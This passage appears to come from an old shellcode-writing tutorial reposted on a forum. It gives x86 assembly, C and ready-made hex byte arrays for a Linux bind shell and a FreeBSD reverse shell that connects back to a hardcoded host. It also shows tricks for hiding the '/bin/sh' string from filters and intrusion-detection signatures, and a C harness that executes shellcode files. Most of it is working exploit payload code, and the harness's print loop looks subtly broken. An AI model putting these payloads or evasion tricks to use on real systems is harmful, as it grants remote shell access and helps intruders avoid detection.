lea ecx,[esi +8]
mov al,102 ; 102 == socketcall
int 0x80 ; call the kernel
mov edx,eax ; store the file descriptor in edx
xor eax, eax ; Null eax
; Now lets make the serv_addr struct
mov byte [esi + 8],0x02 ; This equals: serv_addr.sin_family=2
mov word [esi + 10],0xAAAA ; This equals: serv_addr.sin_port=0xAAAA
mov long [esi + 12],eax ; This equals: serv_addr.sin_addr.s_addr=0
mov long [esi + 17],edx ; edx the file descriptor
lea ecx,[esi + 8] ; load effective address of the struct
mov long [esi + 21],ecx ; and store it in [esi + 21]
inc ebx
mov ecx,ebx
add cl,14
mov long [esi + 25],ecx
lea ecx,[esi +17]
mov al,102
int 0x80
mov al,102
inc ebx
inc ebx
int 0x80
xor eax,eax
inc ebx
mov long [esi + 21],eax
mov long [esi + 25],eax
mov al,102
int 0x80
mov ebx,eax ; Save the file descriptor in ebx
xor eax,eax ; NULL eax
mov long [esi + 12], eax ;
mov ecx,eax ; 0 == stdin
mov al,63 ; dub2()
int 0x80 ; Call kernel
inc ecx ; 1 == stdout
mov al,63 ; dub2()
int 0x80 ; Call kernel
inc ecx ; 2 == stderr
mov al,63 ; dub2()
int 0x80 ; Call kernel
; From here it is just a matter of
jmp short callit ; executing a shell (/bin/bash)
doit:
pop esi
xor eax, eax
mov byte [esi + 9], al
lea ebx, [esi]
mov long [esi + 11], ebx
mov long [esi + 15], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 11]
lea edx, [esi + 15]
int 0x80
callit:
call doit
db '/bin/bash'
FreeBSD connecting shellcode:
In this example we will see how to create shellcode that creates a shell, which connects
back to a host you control. You'll be able to catch the shell by using a tool such as netcat.
In this shellcode you will have to hardcode an IP address to connect to. It is also possible
to add this ip address at the runtime of the exploit (which is a good idea). Please remember
to convert the IP address ! for testing puposes the assembly and shellcode below will connect
to 10.6.12.33 (an machine in my tiny test lab) on port 43690. Within the code this IP address
is converted to: 0x210c060a . You can obtain this hex value pretty easily with perl:
su-2.05a# perl -e 'printf "0x" . "%02x"x4 ."\n",33,12,6,10'
0x210c060a
Just make sure you reverse the IP address like I did with 10.6.12.33. The C code on which the
assembly is based:
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,rc;
struct sockaddr_in serv_addr;
int main()
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0x210c060a;
serv_addr.sin_port=0xAAAA; /* port 43690 */
soc=socket(2,1,6);
rc = connect(soc, (struct sockaddr *)&serv_addr,0x10);
dup2(soc,0);
dup2(soc,1);
dup2(soc,2);
execve("/bin/sh",0,0);
}
And the assembly implementation:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al
; Next code: socket(2,1,6)
push byte 0x06 ; The 3e argument
push byte 0x01 ; The 2e argument
push byte 0x02 ; The 1e argument
mov al,97 ; The system call number
push eax ;
int 0x80 ; And call the kernel
;
; Next code: connect(soc,(struct sockaddr *)&serv_addr,0x10);
mov edx,eax ; We store the file descriptor that was returned from socket() in edx
xor eax,eax ; Now we will create the sockaddr_in structure
mov byte [esi + 9],0x02 ; This equals: serv_addr.sin_family=2
mov word [esi + 10],0xAAAA ; This equals: serv_addr.sin_port=0xAAAA /* port 43690 */
mov long [esi + 12],0x210c060a ; This equals: serv_addr.sin_addr.s_addr=0x210c060a
push byte 0x10 ; We now start with pushing the arguments, 0x10 is the 3e one.
lea eax,[esi + 8] ; Get the address of our structure, arg 2 of bind() is a pointer.
push eax ; And push it on the stack, our second argument is a fact
push edx ; And we push the last argument, the file descriptor, on the stack
xor eax,eax ; Clean up
mov al,98 ; System call 98 represents connect.
push eax ;
int 0x80 ; And call the kernel
;
; Next code: dup2(cli,0) , dup2(cli,1) and dup2(cli,2)
; We will do this in a loop since this creates smaller code.
mov cl,3 ; Define our counter = 3
mov ebx,-1 ; The C code for our loop is: b = -1; for(int i =3;i>0;i--) { dup(cli,++b) };
;
l00p: ; The loop code starts here.
inc ebx ; This is the instead of the ++b code
push ebx ; We push this value first because it represents the last argument
push edx ; We push the second argument, the file descriptor from accept()
mov al,90 ; We define the system call
push eax ;
int 0x80 ; And call the kernel to execute
sub cl, 1 ; Substract 1 from cl
jnz l00p ; This will continue the loop if cl != 0
;
; Next the execve of /bin/sh
xor eax,eax ; First we create some zero's
push eax ; The 3e argument == NULL
push eax ; So is the second
push esi ; The first argument is a pointer to our string /bin/sh
mov al,59 ; We define the system call, execve.
push eax ;
int 0x80 ; And execute
callit:
call doit
db '/bin/sh'
Shellcode generated from this assembly code will look like this. I have made the IP address bold so
you'll known where to search for it if you need to change it.
char shellcode[] =
"\xeb\x52\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0"
"\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46"
"\x0a\xaa\xaa\xc7\x46\x0c\x0a\x06\x0c\x21\x6a\x10\x8d\x46\x08"
"\x50\x52\x31\xc0\xb0\x62\x50\xcd\x80\xb1\x03\xbb\xff\xff\xff"
"\xff\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01\x75\xf3\x31"
"\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xa9\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";
Several shellcode tricks:
In some cases the buffer that causes the overflow is manipulated by the vulnerable
program. This happens more often then you might think and makes exploiting overflows
more difficult and often more fun !. For example many programs filter dots and slashes.
Oh my GOD !! isn't there something we can do about this ? yes there is ;-) We can use
the almighty 'inc' operator to increase the hex value of our ascii character. Below
is a simple example that illustrates how to do this but first a part from Intel's description
of 'inc'.
Adds 1 to the destination operand, while preserving the state of the CF flag. The
destination operand can be a register or a memory location.
Now an example in how to do this. Let's say we have the string:
db 'ABCD'
We can change B in to a C by using:
inc byte [esi + 2]
So what this does is the hex value of B is changed from 42 to 43 which represents C.
A working example of the assembly code required to do this:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al
mov byte [esi + 10], al
mov long [esi + 11], esi
lea ebx, [esi + 8]
mov long [esi + 15], ebx
mov long [esi + 19], eax
inc byte [esi] ; Now we have /bin.sh
inc byte [esi + 4] ; Now we have /bin/sh
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 11]
lea edx, [esi + 19]
int 0x80
callit:
call doit
db '.bin.sh#-i#AAAABBBBCCCC'
This can also be done to obfuscate parts of shellcode that might trigger
IDS signatures. Incstructions such as ADD, SUB INC and DEC can be useful
for this. By using a loop you can recover strings at run time and by
doing so you might be able get undetected by an IDS or atleast, lower the
risk of detection. Have a look at the following example:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov cl,7 ; The loop begins here, we will loop 7 times
change:
dec byte [esi + ecx - 1 ] ; Change the byte on the right location
sub cl, 1 ; Update the counter 'cl'
jnz change ; Verify if we should break the loop
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
callit:
call doit
db '0cjo0ti#AAAABBBB'
The extra -1 in the line "dec byte [esi + ecx - 1 ]" is to make sure we
als change the byte [esi + 0]. The above assembly code will generate shell
code that changes the string '0cjo0ti' to '/bin/sh' and which will then do
an execve of it. The end result (after removing the #AAAABBB chars) will be:
char shellcode[] =
"\xeb\x25\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb1\x07\xfe\x4c\x0e\xff\x80\xe9\x01\x75\xf7\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd6\xff\xff\xff\x30"
"\x63\x6a\x6f\x30\x74\x69";
A nice FreeBSD example to hide the /bin/sh string in simple execve shellcode:
BITS 32
mov byte [esi + 5],0x73
mov byte [esi + 1],0x62
mov byte [esi],0x2f
xor eax, eax
mov byte [esi + 7], al
mov byte [esi + 2],0x69
push eax
mov byte [esi + 6],0x68
push eax
mov byte [esi + 4],0x2f
push esi
mov byte [esi + 3],0x6e
mov al,59
push eax
int 0x80
So the string /bin/sh is build character for character and not in the correct
order. This will make it very hard for IDS's to detect the existance of the string!
By creating an exploit that would shift the bold made code during execution you
could make it extra hard to detect.
char shellcode[] =
"\xc6\x46\x05\x73\xc6\x46\x01\x62\xc6\x06\x2f\x31\xc0\x88\x46"
"\x07\xc6\x46\x02\x69\x50\xc6\x46\x06\x68\x50\xc6\x46\x04\x2f"
"\x56\xc6\x46\x03\x6e\xb0\x3b\x50\xcd\x80";
A more advanced method to obfuscate your code is by encoding the shellcode and decoding
it at run time. While this seems very hard to do, trust me it is not. If you want to encode
shellcode the best way to do this is with some help from a simple c program. More information
on doing that will be released in another document on safemode.org
Ofcourse these are just simples example of obfuscating code. It work nice but isn't
really efficient. If you are really interested in this stuff, have a look at K2's
work at: [url]http://www.ktwo.ca/security.html.[/url]
Trace system calls to debug assembly code:
When you assembly code doesn't work, don't give up because tools such as
ptrace and ktrace can help you allot ! They can show you the exact arguments
that are given to a system call, whether the system call was successful and if
any value was returned.
For example, if the FreeBSD connect shellcode fails, you can see why! Just work
like this:
ktrace ./s-proc -e <compiled connect assembly code>
kdump | more
snip snip snip
1830 process RET write 17/0x11
1830 process CALL socket(0x2,0x1,0x6)
1830 process RET socket 3
1830 process CALL connect(0x3,0x804b061,0x10)
1830 process RET connect -1 errno 61 Connection refused
Aha ! Connection refused.
If you are developing on linux then strace is defenitly your best friend ;-)
Disassembling shellcode:
If you want to see how someone else create shellcode there are very simple ways to disassemble
it. What I normally use is a small perl script that writes the shellcode to a file. For example, if
I would like to get the assembly of the following shellcode:
char shellcode[] =
"\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad"
"\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80";
I just put it in a perl script like this:
#!/usr/bin/perl -w
$shellcode =
"\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad".
"\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80";
open(FILE, ">shellcode.bin");
print FILE "$shellcode";
close(FILE);
I saved the file as ww.pl and disassembled it:
[10:50pm lappie] ./ww.pl
[10:50pm lappie] ndisasm -b 32 shellcode.bin
00000000 5E pop esi
00000001 31C0 xor eax,eax
00000003 B024 mov al,0x24
00000005 CD80 int 0x80
00000007 B024 mov al,0x24
00000009 CD80 int 0x80
0000000B B058 mov al,0x58
0000000D BBADDEE1FE mov ebx,0xfee1dead
00000012 B969191228 mov ecx,0x28121969
00000017 BA67452301 mov edx,0x1234567
0000001C CD80 int 0x80
Et voila, here is the assembly. Now it is really easy to determine what kind of shellcode
this is and what technique is being used.
Shellcode processing program:
/*
* Generic program for testing shellcode byte arrays.
* Created by zillion and EVL
*
* Safemode.org !! Safemode.org !!
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
/*
* Print message
*/
static void
croak(const char *msg) {
fprintf(stderr, "%s\n", msg);
fflush(stderr);
}
/*
* Educate user.
*/
static void
usage(const char *prgnam) {
fprintf(stderr, "\nExecute code : %s -e <file-containing-shellcode>\n", prgnam);
fprintf(stderr, "Convert code : %s -p <file-containing-shellcode> \n\n", prgnam);
fflush(stderr);
exit(1);
}
/*
* Signal error and bail out.
*/
static void
barf(const char *msg) {
perror(msg);
exit(1);
}
/*
* Main code starts here
*/
int
main(int argc, char **argv) {
FILE *fp;
void *code;
int arg;
int i;
int l;
int m = 15; /* max # of bytes to print on one line */
struct stat sbuf;
long flen; /* Note: assume files are < 2**32 bytes long ;-) */
void (*fptr)(void);
if(argc < 3) usage(argv[0]);
if(stat(argv[2], &sbuf)) barf("failed to stat file");
flen = (long) sbuf.st_size;
if(!(code = malloc(flen))) barf("failed to grab required memeory");
if(!(fp = fopen(argv[2], "rb"))) barf("failed to open file");
if(fread(code, 1, flen, fp) != flen) barf("failed to slurp file");
if(fclose(fp)) barf("failed to close file");
while ((arg = getopt (argc, argv, "e:p:")) != -1){
switch (arg){
case 'e':
croak("Calling code ...");
fptr = (void (*)(void)) code;
(*fptr)();
break;
case 'p':
printf("\n\nchar shellcode[] =\n");
l = m;
for(i = 0; i < flen; ++i) {
if(l >= m) {
if(i) printf("\"\n");
printf( "\t\"");
l = 0;
}
++l;
printf("\\x%02x", ((unsigned char *)code));
}
printf("\";\n\n\n");
break;
default :
usage(argv[0]);
}
}
return 0;
}
页:
[1]